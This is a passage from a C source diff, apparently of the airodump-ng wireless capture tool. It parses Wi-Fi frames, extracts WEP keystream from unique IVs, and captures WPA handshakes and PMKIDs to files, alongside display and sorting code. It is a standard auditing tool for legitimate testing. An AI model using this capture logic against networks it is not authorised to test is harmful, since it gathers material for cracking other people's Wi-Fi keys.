+			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00
+				&& (h80211[1] & 3) == 0x01)
+				memcpy(ap_cur->lanip, &h80211[z + 20], 4);
+
+			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06)
+				memcpy(ap_cur->lanip, &h80211[z + 22], 4);
+		}
+		//        else
+		//            ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5
+		//            );
+
+		if (ap_cur->security == 0 || (ap_cur->security & STD_WEP))
+		{
+			if ((h80211[1] & 0x40) != 0x40)
+			{
+				ap_cur->security |= STD_OPN;
+			}
+			else
+			{
+				if ((h80211[z + 3] & 0x20) == 0x20)
+				{
+					ap_cur->security |= STD_WPA;
+				}
+				else
+				{
+					ap_cur->security |= STD_WEP;
+					if ((h80211[z + 3] & 0xC0) != 0x00)
+					{
+						ap_cur->security |= ENC_WEP40;
+					}
+					else
+					{
+						ap_cur->security &= ~ENC_WEP40;
+						ap_cur->security |= ENC_WEP;
+					}
+				}
+			}
+		}
+
+		if (z + 10 > (unsigned) caplen) goto write_packet;
+
+		if (ap_cur->security & STD_WEP)
+		{
+			/* WEP: check if we've already seen this IV */
+
+			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
+			{
+				/* first time seen IVs */
+
+				if (opt.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+					ivs2.len = 0;
+
+					/* datalen = caplen - (header+iv+ivs) */
+					dlen = caplen - z - 4 - 4; // original data len
+					if (dlen > 2048) dlen = 2048;
+					// get cleartext + len + 4(iv+idx)
+					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
+					if (num_xor == 1)
+					{
+						ivs2.flags |= IVS2_XOR;
+						ivs2.len += clen + 4;
+						/* reveal keystream (plain^encrypted) */
+						for (n = 0; n < (size_t)(ivs2.len - 4); n++)
+						{
+							clear[n] = (uint8_t)((clear[n] ^ h80211[z + 4 + n])
+												 & 0xFF);
+						}
+						// clear is now the keystream
+					}
+					else
+					{
+						// do it again to get it 2 bytes higher
+						num_xor = known_clear(
+							clear + 2, &clen, weight, h80211, dlen);
+						ivs2.flags |= IVS2_PTW;
+						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
+						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
+						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
+						clear[0] = (uint8_t) num_xor;
+						clear[1] = (uint8_t) clen;
+						/* reveal keystream (plain^encrypted) */
+						for (o = 0; o < num_xor; o++)
+						{
+							for (n = 0; n < (size_t)(ivs2.len - 4); n++)
+							{
+								clear[2 + n + o * 32] = (uint8_t)(
+									(clear[2 + n + o * 32] ^ h80211[z + 4 + n])
+									& 0xFF);
+							}
+						}
+						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
+							   weight,
+							   16 * sizeof(int));
+						// clear is now the keystream
+					}
+
+					if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (EXIT_FAILURE);
+					}
+
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
+							!= (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(h80211 + z, 1, 4, opt.f_ivs) != (size_t) 4)
+					{
+						perror("fwrite(IV iv+idx) failed");
+						return (EXIT_FAILURE);
+					}
+					ivs2.len -= 4;
+
+					if (fwrite(clear, 1, ivs2.len, opt.f_ivs)
+						!= (size_t) ivs2.len)
+					{
+						perror("fwrite(IV keystream) failed");
+						return (EXIT_FAILURE);
+					}
+				}
+
+				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
+
+				ap_cur->nb_data++;
+			}
+
+			// Record all data linked to IV to detect WEP Cloaking
+			if (opt.f_ivs == NULL && lopt.detect_anomaly)
+			{
+				// Only allocate this when seeing WEP AP
+				if (ap_cur->data_root == NULL) ap_cur->data_root = data_init();
+
+				// Only works with full capture, not IV-only captures
+				if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4])
+						== CLOAKING
+					&& ap_cur->EAP_detected == 0)
+				{
+
+					// If no EAP/EAP was detected, indicate WEP cloaking
+					memset(lopt.message, '\x00', sizeof(lopt.message));
+					snprintf(lopt.message,
+							 sizeof(lopt.message) - 1,
+							 "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ",
+							 ap_cur->bssid[0],
+							 ap_cur->bssid[1],
+							 ap_cur->bssid[2],
+							 ap_cur->bssid[3],
+							 ap_cur->bssid[4],
+							 ap_cur->bssid[5]);
+				}
+			}
+		}
+		else
+		{
+			ap_cur->nb_data++;
+		}
+
+		z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+				? 24
+				: 30;
+
+		/* Check if 802.11e (QoS) */
+		if ((h80211[0] & 0x80) == 0x80) z += 2;
+
+		if (z + 26 > (unsigned) caplen) goto write_packet;
+
+		z += 6; // skip LLC header
+
+		/* check ethertype == EAPOL */
+		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
+			&& (h80211[1] & 0x40) != 0x40)
+		{
+			ap_cur->EAP_detected = 1;
+
+			z += 2; // skip ethertype
+
+			if (st_cur == NULL) goto write_packet;
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+
+				st_cur->wpa.state = 1;
+
+				if (h80211[z + 99] == 0xdd) // RSN
+				{
+					if (h80211[z + 101] == 0x00 && h80211[z + 102] == 0x0f
+						&& h80211[z + 103] == 0xac) // OUI: IEEE8021
+					{
+						if (h80211[z + 104] == 0x04) // OUI SUBTYPE
+						{
+							// Got a PMKID value?!
+							memcpy(st_cur->wpa.pmkid, &h80211[z + 105], 16);
+
+							/* copy the key descriptor version */
+							st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+
+							memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+							memcpy(lopt.wpa_bssid, ap_cur->bssid, 6);
+							memset(lopt.message, '\x00', sizeof(lopt.message));
+							snprintf(lopt.message,
+									 sizeof(lopt.message) - 1,
+									 "][ PMKID found: "
+									 "%02X:%02X:%02X:%02X:%02X:%02X ",
+									 lopt.wpa_bssid[0],
+									 lopt.wpa_bssid[1],
+									 lopt.wpa_bssid[2],
+									 lopt.wpa_bssid[3],
+									 lopt.wpa_bssid[4],
+									 lopt.wpa_bssid[5]);
+
+							goto write_packet;
+						}
+					}
+				}
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if (z + 17 + 32 > (unsigned) caplen) goto write_packet;
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 2;
+				}
+
+				if ((st_cur->wpa.state & 4) != 4)
+				{
+					st_cur->wpa.eapol_size
+						= (uint32_t)((h80211[z + 2] << 8) + h80211[z + 3] + 4);
+
+					if (caplen - z < st_cur->wpa.eapol_size
+						|| st_cur->wpa.eapol_size == 0 //-V560
+						|| caplen - z < 81 + 16
+						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						goto write_packet;
+					}
+
+					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+					memcpy(
+						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+				}
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 1;
+				}
+
+				if ((st_cur->wpa.state & 4) != 4)
+				{
+					st_cur->wpa.eapol_size
+						= (h80211[z + 2] << 8) + h80211[z + 3] + 4u;
+
+					if (st_cur->wpa.eapol_size == 0 //-V560
+						|| st_cur->wpa.eapol_size
+							   >= sizeof(st_cur->wpa.eapol) - 16)
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						goto write_packet;
+					}
+
+					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+					memcpy(
+						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = (uint8_t)(h80211[z + 6] & 7);
+				}
+			}
+
+			if (st_cur->wpa.state == 7 && !is_filtered_essid(ap_cur->essid))
+			{
+				memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+				memcpy(lopt.wpa_bssid, ap_cur->bssid, 6);
+				memset(lopt.message, '\x00', sizeof(lopt.message));
+				snprintf(lopt.message,
+						 sizeof(lopt.message) - 1,
+						 "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ",
+						 lopt.wpa_bssid[0],
+						 lopt.wpa_bssid[1],
+						 lopt.wpa_bssid[2],
+						 lopt.wpa_bssid[3],
+						 lopt.wpa_bssid[4],
+						 lopt.wpa_bssid[5]);
+
+				if (opt.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+
+					ivs2.len = sizeof(struct WPA_hdsk);
+					ivs2.flags |= IVS2_WPA;
+
+					if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (EXIT_FAILURE);
+					}
+
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
+							!= (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (EXIT_FAILURE);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(&(st_cur->wpa),
+							   1,
+							   sizeof(struct WPA_hdsk),
+							   opt.f_ivs)
+						!= (size_t) sizeof(struct WPA_hdsk))
+					{
+						perror("fwrite(IV wpa_hdsk) failed");
+						return (EXIT_FAILURE);
+					}
+				}
+			}
+		}
+	}
+
+write_packet:
+
+	if (ap_cur != NULL)
+	{
+		if (h80211[0] == 0x80 && lopt.one_beacon)
+		{
+			if (!ap_cur->beacon_logged)
+				ap_cur->beacon_logged = 1;
+			else
+				return (0);
+		}
+	}
+
+	if (opt.record_data)
+	{
+		if (((h80211[0] & 0x0C) == 0x00) && ((h80211[0] & 0xF0) == 0xB0))
+		{
+			/* authentication packet */
+			check_shared_key(h80211, (size_t) caplen);
+		}
+	}
+
+	if (ap_cur != NULL)
+	{
+		if (ap_cur->security != 0 && lopt.f_encrypt != 0
+			&& ((ap_cur->security & lopt.f_encrypt) == 0))
+		{
+			return (1);
+		}
+
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			return (1);
+		}
+	}
+
+	/* this changes the local ap_cur, st_cur and na_cur variables and should be
+	 * the last check before the actual write */
+	if (caplen < 24 && caplen >= 10 && h80211[0])
+	{
+		/* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/
+		//(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 ||
+		// h80211[0] == 0xE4 || h80211[0] == 0xF4)
+
+		/* use general control frame detection, as the structure is always the
+		 * same: mac(s) starting at [4] */
+		if (h80211[0] & 0x04)
+		{
+			p = h80211 + 4;
+			while (p <= h80211 + 16 && p <= h80211 + caplen)
+			{
+				memcpy(namac, p, 6);
+
+				if (memcmp(namac, NULL_MAC, 6) == 0)
+				{
+					p += 6;
+					continue;
+				}
+
+				if (memcmp(namac, BROADCAST, 6) == 0)
+				{
+					p += 6;
+					continue;
+				}
+
+				if (lopt.hide_known)
+				{
+					/* check AP list */
+					ap_cur = lopt.ap_1st;
+
+					while (ap_cur != NULL)
+					{
+						if (!memcmp(ap_cur->bssid, namac, 6)) break;
+
+						ap_cur = ap_cur->next;
+					}
+
+					/* if it's an AP, try next mac */
+
+					if (ap_cur != NULL)
+					{
+						p += 6;
+						continue;
+					}
+
+					/* check ST list */
+					st_cur = lopt.st_1st;
+
+					while (st_cur != NULL)
+					{
+						if (!memcmp(st_cur->stmac, namac, 6)) break;
+
+						st_cur = st_cur->next;
+					}
+
+					/* if it's a client, try next mac */
+
+					if (st_cur != NULL)
+					{
+						p += 6;
+						continue;
+					}
+				}
+
+				/* not found in either AP list or ST list, look through NA list
+				 */
+				na_cur = lopt.na_1st;
+				na_prv = NULL;
+
+				while (na_cur != NULL)
+				{
+					if (!memcmp(na_cur->namac, namac, 6)) break;
+
+					na_prv = na_cur;
+					na_cur = na_cur->next;
+				}
+
+				/* update our chained list of unknown stations */
+				/* if it's a new mac, add it */
+
+				if (na_cur == NULL)
+				{
+					if (!(na_cur
+						  = (struct NA_info *) malloc(sizeof(struct NA_info))))
+					{
+						perror("malloc failed");
+						return (1);
+					}
+
+					memset(na_cur, 0, sizeof(struct NA_info));
+
+					if (lopt.na_1st == NULL)
+						lopt.na_1st = na_cur;
+					else
+						na_prv->next = na_cur;
+
+					memcpy(na_cur->namac, namac, 6);
+
+					na_cur->prev = na_prv;
+
+					gettimeofday(&(na_cur->tv), NULL);
+					na_cur->tinit = time(NULL);
+					na_cur->tlast = time(NULL);
+
+					na_cur->power = -1;
+					na_cur->channel = -1;
+					na_cur->ack = 0;
+					na_cur->ack_old = 0;
+					na_cur->ackps = 0;
+					na_cur->cts = 0;
+					na_cur->rts_r = 0;
+					na_cur->rts_t = 0;
+				}
+
+				/* update the last time seen & power*/
+
+				na_cur->tlast = time(NULL);
+				na_cur->power = ri->ri_power;
+				na_cur->channel = ri->ri_channel;
+
+				switch (h80211[0] & 0xF0)
+				{
+					case 0xB0:
+						if (p == h80211 + 4) na_cur->rts_r++;
+						if (p == h80211 + 10) na_cur->rts_t++;
+						break;
+
+					case 0xC0:
+						na_cur->cts++;
+						break;
+
+					case 0xD0:
+						na_cur->ack++;
+						break;
+
+					default:
+						na_cur->other++;
+						break;
+				}
+
+				/*grab next mac (for rts frames)*/
+				p += 6;
+			}
+		}
+	}
+
+	if (opt.f_cap != NULL && caplen >= 10)
+	{
+		pkh.len = pkh.caplen = (uint32_t) caplen;
+
+		gettimeofday(&tv, NULL);
+
+		pkh.tv_sec = (int32_t) tv.tv_sec;
+		pkh.tv_usec = (int32_t)((tv.tv_usec & ~0x1ff) + ri->ri_power + 64);
+
+		n = sizeof(pkh);
+
+		if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet header) failed");
+			return (1);
+		}
+
+		fflush(stdout);
+
+		n = pkh.caplen;
+
+		if (fwrite(h80211, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet data) failed");
+			return (1);
+		}
+
+		fflush(stdout);
+	}
+
+	return (0);
+}
+
+static void dump_sort(void)
+{
+	time_t tt = time(NULL);
+
+	/* thanks to Arnaud Cornet :-) */
+
+	struct AP_info * new_ap_1st = NULL;
+	struct AP_info * new_ap_end = NULL;
+
+	struct ST_info * new_st_1st = NULL;
+	struct ST_info * new_st_end = NULL;
+
+	struct ST_info *st_cur, *st_min;
+	struct AP_info *ap_cur, *ap_min;
+
+	/* sort the aps by WHATEVER first */
+
+	while (lopt.ap_1st)
+	{
+		ap_min = NULL;
+		ap_cur = lopt.ap_1st;
+
+		while (ap_cur != NULL)
+		{
+			if (tt - ap_cur->tlast > 20) ap_min = ap_cur;
+
+			ap_cur = ap_cur->next;
+		}
+
+		if (ap_min == NULL)
+		{
+			ap_min = ap_cur = lopt.ap_1st;
+
+			/*#define SORT_BY_BSSID	1
+#define SORT_BY_POWER	2
+#define SORT_BY_BEACON	3
+#define SORT_BY_DATA	4
+#define SORT_BY_PRATE	6
+#define SORT_BY_CHAN	7
+#define	SORT_BY_MBIT	8
+#define SORT_BY_ENC	9
+#define SORT_BY_CIPHER	10
+#define SORT_BY_AUTH	11
+#define SORT_BY_ESSID	12*/
+
+			while (ap_cur != NULL)
+			{
+				switch (lopt.sort_by)
+				{
+					case SORT_BY_BSSID:
+						if (memcmp(ap_cur->bssid, ap_min->bssid, 6)
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_POWER:
+						if ((ap_cur->avg_power - ap_min->avg_power)
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_BEACON:
+						if ((ap_cur->nb_bcn < ap_min->nb_bcn) && lopt.sort_inv)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_DATA:
+						if ((ap_cur->nb_data < ap_min->nb_data)
+							&& lopt.sort_inv)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_PRATE:
+						if ((ap_cur->nb_dataps - ap_min->nb_dataps)
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_CHAN:
+						if ((ap_cur->channel - ap_min->channel) * lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_MBIT:
+						if ((ap_cur->max_speed - ap_min->max_speed)
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_ENC:
+						if (((int) (ap_cur->security & STD_FIELD)
+							 - (int) (ap_min->security & STD_FIELD))
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_CIPHER:
+						if (((int) (ap_cur->security & ENC_FIELD)
+							 - (int) (ap_min->security & ENC_FIELD))
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_AUTH:
+						if (((int) (ap_cur->security & AUTH_FIELD)
+							 - (int) (ap_min->security & AUTH_FIELD))
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					case SORT_BY_ESSID:
+						if ((strncasecmp((char *) ap_cur->essid,
+										 (char *) ap_min->essid,
+										 ESSID_LENGTH))
+								* lopt.sort_inv
+							< 0)
+							ap_min = ap_cur;
+						break;
+					default: // sort by power
+						if (ap_cur->avg_power < ap_min->avg_power)
+							ap_min = ap_cur;
+						break;
+				}
+				ap_cur = ap_cur->next;
+			}
+		}
+
+		if (ap_min == lopt.ap_1st) lopt.ap_1st = ap_min->next;
+
+		if (ap_min == lopt.ap_end) lopt.ap_end = ap_min->prev;
+
+		if (ap_min->next) ap_min->next->prev = ap_min->prev;
+
+		if (ap_min->prev) ap_min->prev->next = ap_min->next;
+
+		if (new_ap_end)
+		{
+			new_ap_end->next = ap_min;
+			ap_min->prev = new_ap_end;
+			new_ap_end = ap_min;
+			new_ap_end->next = NULL;
+		}
+		else
+		{
+			new_ap_1st = new_ap_end = ap_min;
+			ap_min->next = ap_min->prev = NULL;
+		}
+	}
+
+	lopt.ap_1st = new_ap_1st;
+	lopt.ap_end = new_ap_end;
+
+	/* now sort the stations */
+
+	while (lopt.st_1st)
+	{
+		st_min = NULL;
+		st_cur = lopt.st_1st;
+
+		while (st_cur != NULL)
+		{
+			if (tt - st_cur->tlast > 60) st_min = st_cur;
+
+			st_cur = st_cur->next;
+		}
+
+		if (st_min == NULL)
+		{
+			st_min = st_cur = lopt.st_1st;
+
+			while (st_cur != NULL)
+			{
+				if (st_cur->power < st_min->power) st_min = st_cur;
+
+				st_cur = st_cur->next;
+			}
+		}
+
+		if (st_min == lopt.st_1st) lopt.st_1st = st_min->next;
+
+		if (st_min == lopt.st_end) lopt.st_end = st_min->prev;
+
+		if (st_min->next) st_min->next->prev = st_min->prev;
+
+		if (st_min->prev) st_min->prev->next = st_min->next;
+
+		if (new_st_end)
+		{
+			new_st_end->next = st_min;
+			st_min->prev = new_st_end;
+			new_st_end = st_min;
+			new_st_end->next = NULL;
+		}
+		else
+		{
+			new_st_1st = new_st_end = st_min;
+			st_min->next = st_min->prev = NULL;
+		}
+	}
+
+	lopt.st_1st = new_st_1st;
+	lopt.st_end = new_st_end;
+}
+
+static int getBatteryState(void) { return get_battery_state(); }
+
+static char * getStringTimeFromSec(double seconds)
+{
+	int hour[3];
+	char * ret;
+	char * HourTime;
+	char * MinTime;
+
+	if (seconds < 0) return (NULL);
+
+	ret = (char *) calloc(1, 256);
+	ALLEGE(ret != NULL);
+
+	HourTime = (char *) calloc(1, 128);
+	ALLEGE(HourTime != NULL);
+	MinTime = (char *) calloc(1, 128);
+	ALLEGE(MinTime != NULL);
+
+	hour[0] = (int) (seconds);
+	hour[1] = hour[0] / 60;
+	hour[2] = hour[1] / 60;
+	hour[0] %= 60;
+	hour[1] %= 60;
+
+	if (hour[2] != 0)
+		snprintf(
+			HourTime, 128, "%d %s", hour[2], (hour[2] == 1) ? "hour" : "hours");
+	if (hour[1] != 0)
+		snprintf(
+			MinTime, 128, "%d %s", hour[1], (hour[1] == 1) ? "min" : "mins");
+
+	if (hour[2] != 0 && hour[1] != 0)
+		snprintf(ret, 256, "%s %s", HourTime, MinTime);
+	else
+	{
+		if (hour[2] == 0 && hour[1] == 0)
+			snprintf(ret, 256, "%d s", hour[0]);
+		else
+			snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime);
+	}
+
+	free(MinTime);
+	free(HourTime);
+
+	return (ret);
+}
+
+static char * getBatteryString(void)
+{
+	int batt_time;
+	char * ret;
+	char * batt_string;
+
+	batt_time = getBatteryState();
+
+	if (batt_time <= 60)
+	{
+		ret = (char *) calloc(1, 2);
+		ALLEGE(ret != NULL);
+		ret[0] = ']';
+		return (ret);
+	}
+
+	batt_string = getStringTimeFromSec((double) batt_time);
+	ALLEGE(batt_string != NULL);
+
+	ret = (char *) calloc(1, 256);
+	ALLEGE(ret != NULL);
+
+	snprintf(ret, 256, "][ BAT: %s ]", batt_string);
+
+	free(batt_string);
+
+	return (ret);
+}
+
+#define TSTP_SEC                                                               \
+	1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */
+#define TSTP_MIN (TSTP_SEC * 60ULL)
+#define TSTP_HOUR (TSTP_MIN * 60ULL)
+#define TSTP_DAY (TSTP_HOUR * 24ULL)
+
+static char * parse_timestamp(unsigned long long timestamp)
+{
+#define TSTP_LEN 15
+	static char s[TSTP_LEN];
+	unsigned long long rem;
+	unsigned char days, hours, mins, secs;
+
+	// Initialize array
+	memset(s, 0, TSTP_LEN);
+
+	// Calculate days, hours, mins and secs
+	days = (uint8_t)(timestamp / TSTP_DAY);
+	rem = timestamp % TSTP_DAY;
+	hours = (unsigned char) (rem / TSTP_HOUR);
+	rem %= TSTP_HOUR;
+	mins = (unsigned char) (rem / TSTP_MIN);
+	rem %= TSTP_MIN;
+	secs = (unsigned char) (rem / TSTP_SEC);
+
+	snprintf(s, TSTP_LEN, "%3ud %02u:%02u:%02u", days, hours, mins, secs);
+#undef TSTP_LEN
+
+	return (s);
+}
+
+static int IsAp2BeSkipped(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	if (ap_cur->nb_pkt < lopt.min_pkts
+		|| time(NULL) - ap_cur->tlast > lopt.berlin
+		|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+	{
+		return (1);
+	}
+
+	if (ap_cur->security != 0 && lopt.f_encrypt != 0
+		&& ((ap_cur->security & lopt.f_encrypt) == 0))
+	{
+		return (1);
+	}
+
+	if (is_filtered_essid(ap_cur->essid))
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+#define CHECK_END_OF_SCREEN()                                                  \
+	do                                                                         \
+	{                                                                          \
+		++nlines;                                                              \
+		if (nlines >= (ws_row - 1))                                            \
+		{                                                                      \
+			erase_display(0);                                                  \
+			return;                                                            \
+		};                                                                     \
+	} while (0)
+
+static void dump_print(int ws_row, int ws_col, int if_num)
+{
+	time_t tt;
+	struct tm * lt;
+	int nlines, i, n;
+	char strbuf[512];
+	char buffer[512];
+	char ssid_list[512];
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	struct NA_info * na_cur;
+	int columns_ap = 83;
+	int columns_sta = 74;
+	int columns_na = 68;
+	ssize_t len;
+
+	int num_ap;
+	int num_sta;
+
+	if (!lopt.singlechan) columns_ap -= 4; // no RXQ in scan mode
+	if (lopt.show_uptime) columns_ap += 15; // show uptime needs more space
+
+	nlines = 2;
+
+	if (nlines >= ws_row) return;
+
+	if (lopt.do_sort_always)
+	{
+		ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
+		dump_sort();
+		ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
+	}
+
+	tt = time(NULL);
+	lt = localtime(&tt);
+
+	if (lopt.is_berlin)
+	{
+		lopt.maxaps = 0;
+		lopt.numaps = 0;
+		ap_cur = lopt.ap_end;
+
+		while (ap_cur != NULL)
+		{
+			lopt.maxaps++;
+			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > lopt.berlin
+				|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+			lopt.numaps++;
+			ap_cur = ap_cur->prev;
+		}
+
+		if (lopt.numaps > lopt.maxnumaps) lopt.maxnumaps = lopt.numaps;
+	}
+
+	/*
+	 *  display the channel, battery, position (if we are connected to GPSd)
+	 *  and current time
+	 */
+
+	memset(strbuf, '\0', sizeof(strbuf));
+
+	moveto(1, 2);
+	textcolor_normal();
+	textcolor_fg(TEXT_WHITE);
+
+	if (lopt.freqoption)
+	{
+		snprintf(strbuf, sizeof(strbuf) - 1, " Freq %4d", lopt.frequency[0]);
+		for (i = 1; i < if_num; i++)
+		{
+			memset(buffer, '\0', sizeof(buffer));
+			snprintf(buffer, sizeof(buffer), ",%4d", lopt.frequency[i]);
+			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+		}
+	}
+	else
+	{
+		snprintf(strbuf, sizeof(strbuf) - 1, " CH %2d", lopt.channel[0]);
+		for (i = 1; i < if_num; i++)
+		{
+			memset(buffer, '\0', sizeof(buffer));
+			snprintf(buffer, sizeof(buffer), ",%2d", lopt.channel[i]);
+			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+		}
+	}
+	memset(buffer, '\0', sizeof(buffer));
+
+	if (lopt.gps_loc[0] || (opt.usegpsd))
+	{
+		// If using GPS then check if we have a valid fix or not and report accordingly
+		if (lopt.gps_loc[0] != 0) //-V550
+		{
+			struct tm * gtime = &lopt.gps_time;
+			snprintf(buffer,
+					 sizeof(buffer) - 1,
+					 " %s[ GPS %3.6f,%3.6f %02d:%02d:%02d ][ Elapsed: %s ][ "
+					 "%04d-%02d-%02d %02d:%02d ",
+					 lopt.batt,
+					 lopt.gps_loc[0],
+					 lopt.gps_loc[1],
+					 gtime->tm_hour,
+					 gtime->tm_min,
+					 gtime->tm_sec,
+					 lopt.elapsed_time,
+					 1900 + lt->tm_year,
+					 1 + lt->tm_mon,
+					 lt->tm_mday,
+					 lt->tm_hour,
+					 lt->tm_min);
+		}
+		else
+		{
+			snprintf(
+				buffer,
+				sizeof(buffer) - 1,
+				" %s[ GPS %-29s ][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
+				lopt.batt,
+				" *** No Fix! ***",
+				lopt.elapsed_time,
+				1900 + lt->tm_year,
+				1 + lt->tm_mon,
+				lt->tm_mday,
+				lt->tm_hour,
+				lt->tm_min);
+		}
+	}
+	else
+	{
+		snprintf(buffer,
+				 sizeof(buffer) - 1,
+				 " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
+				 lopt.batt,
+				 lopt.elapsed_time,
+				 1900 + lt->tm_year,
+				 1 + lt->tm_mon,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min);
+	}
+
+	strncat(strbuf, buffer, (512 - strlen(strbuf) - 1));
+	memset(buffer, '\0', 512);
+
+	if (lopt.is_berlin)
+	{
+		snprintf(buffer,
+				 sizeof(buffer) - 1,
+				 " ][%3d/%3d/%4d ",
+				 lopt.numaps,
+				 lopt.maxnumaps,
+				 lopt.maxaps);
+	}
+
+	strncat(strbuf, buffer, (512 - strlen(strbuf) - 1));
+	memset(buffer, '\0', 512);
+
+	if (strlen(lopt.message) > 0)
